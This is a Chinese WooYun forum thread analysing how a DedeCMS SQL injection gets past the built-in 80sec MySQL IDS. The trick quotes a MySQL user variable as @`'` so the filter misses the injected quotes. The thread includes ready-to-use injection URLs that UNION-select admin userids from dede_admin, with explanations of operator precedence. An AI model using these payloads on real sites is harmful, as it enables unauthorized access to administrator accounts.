当前位置：WooYun(白帽子技术社区) >> php >> 讨论下ids的绕过
(what?) 
| 自从知道dedecms自带了80sec的内置Mysqlids后，一直以来也没有想到绕过的办法。或者是自己mysql的根底太差了吧。于是分析dedecms源码时，只找模板执行，本地包含，上传等，完全没有想到注入存在的可能性了。
可以看看某牛的很久以前的分析
http://www.oldjun.com/blog/index.php/archives/66/（其中：80sec的内置Mysqlids可能的绕过方法）
之前也看过，感觉也是同意的。
但今天看到dede再暴漏洞，居然存在注入？
文章在这里：http://www.sa666.com/thread-25247-1-1.html
注入关键地方：/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'`
最终执行语句是：
SELECT groupname FROM dede_member_group WHERE mid = 0 AND id=@`\'` Union select userid from `dede_admin` where 1 or id=@`\'` LIMIT 0,1;
关键是：@`'` 这个
一直以为 反引号 只用于字段表等特殊地方，但没想到还可以用于值的，于是就顺理绕过了IDS的检测，在IDS中变成：select groupname from dede_member_group where mid = 0 and id=@`\$s$` limit 0,1。
如果执行：select * from table where id=`8` 会出错。
但执行：select * from table where id=@`8` 即正常，但没查出数据。
即这个值“@`8`”不是简单的值 8 那是什么值呢？
mysql> select @`8`;
+------+
| @`8` |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
据我所知，这个@是由用户声明的局部变量。估计就是把整个值当为整个变量吧？
不知想法对不对。有对mysql了解的可以来解释一下。
至于有人说为什么会有些出现：Safe Alert: Request Error step 2!
这是由于dedecms的另一个问题了，这里就不多说，和GPC有关，可以下面语句绕过：
/member/ajax_membergroup.php?action=post&membergroup=@`\'` Union select userid from `%23@__admin` where 1 or id=@`\'`
IDS的防和绕过一直在斗争着。
在Discuz! 中，IDS也起到了很大作用，从前面的 /*!*/ 绕过和 union all等绕过，到现在的修复。
大家还有什么IDS的绕过技巧或案例可以分享的么？^-^
-
-
个人觉得，绕过dedecms的关键似乎在于前面dede团队自行添加的代码引发的。至于后面的@，其实目的不是为了赋值，而是要利用SQL语句的操作符优先级存废SQL达到自己的目的（不得不说，高明）。拆分整句SQL来看：
(SELECT groupname FROM dede_member_group WHERE (mid = 0 AND id=@`\'`)) ->and和@直接废掉这句SQL
Union
(select userid from `dede_admin` where (1 or id=@`\'`) LIMIT 0,1); -> or导致条件成立，而且仅取1行
相关的可看这个漏洞，一样的道理（内含调试方法）：WooYun: 汉庭连锁酒店后台SQL注入 -
-
-
@rayh4c 仅看dedecms 5.7的安装sql，应该是int：
CREATE TABLE `#@__admin` (
`id` int(10) unsigned NOT NULL,
`usertype` float unsigned default '0',
`userid` char(30) NOT NULL default '',
`pwd` char(32) NOT NULL default '',
`uname` char(20) NOT NULL default '',
`tname` char(30) NOT NULL default '',
`email` char(30) NOT NULL default '',
`typeid` text,
`logintime` int(10) unsigned NOT NULL default '0',
`loginip` varchar(20) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM;
CREATE TABLE `#@__member_group` (
`id` int(10) NOT NULL auto_increment,
`groupname` varchar(50) NOT NULL,
`mid` int(8) NOT NULL,
PRIMARY KEY (`id`),
KEY `id` (`id`)
) TYPE=MyISAM;
-
-
-
-
@rayh4c 查了查mysql 5.1手册，在中文版“9.3. 用户变量”中有如下描述：http://dev.mysql.com/doc/refman/5.1/zh/language-structure.html#variables
=============
用户变量的形式为@var_name，其中变量名var_name可以由当前字符集的文字数字字符、‘.’、‘_’和‘$’组成。 默认字符集是cp1252 (Latin1)。可以用mysqld的--default-character-set选项更改字符集。参见5.10.1节，“数据和排序用字符集”。用户变量名对大小写不敏感。
=============
无法解答疑问，翻英文手册：http://dev.mysql.com/doc/refman/5.1/en/user-variables.html
=============
User variables are written as @var_name, where the variable name var_name consists of alphanumeric characters, “.”, “_”, and “$”. A user variable name can contain other characters if you quote it as a string or identifier (for example, @'my-var', @"my-var", or @`my-var`).
User variable names are not case sensitive in MySQL 5.0 and up.
=============
坑爹啊！两者都有重要信息被互相遗漏。以后翻查mysql手册岂不是要中英同查？！ -
-
-
-
-
-
-
-
-
-
@horseluke
你是说(SELECT groupname FROM dede_member_group WHERE (mid = 0 AND id=@`\'`)) ->and和@直接废掉这句SQL这里的话，然后这里的where (1 or id=@`\'`)就应该可以不要了吧，直接就变成了 Union
Union
(select userid from `dede_admin` where (1 or id=@`\'`) LIMIT 0,1); -> or导致条件成立，而且仅取1行
(select userid from `dede_admin` limit 0,1 不知道对否？ -
-
-
-
-
-
-
-
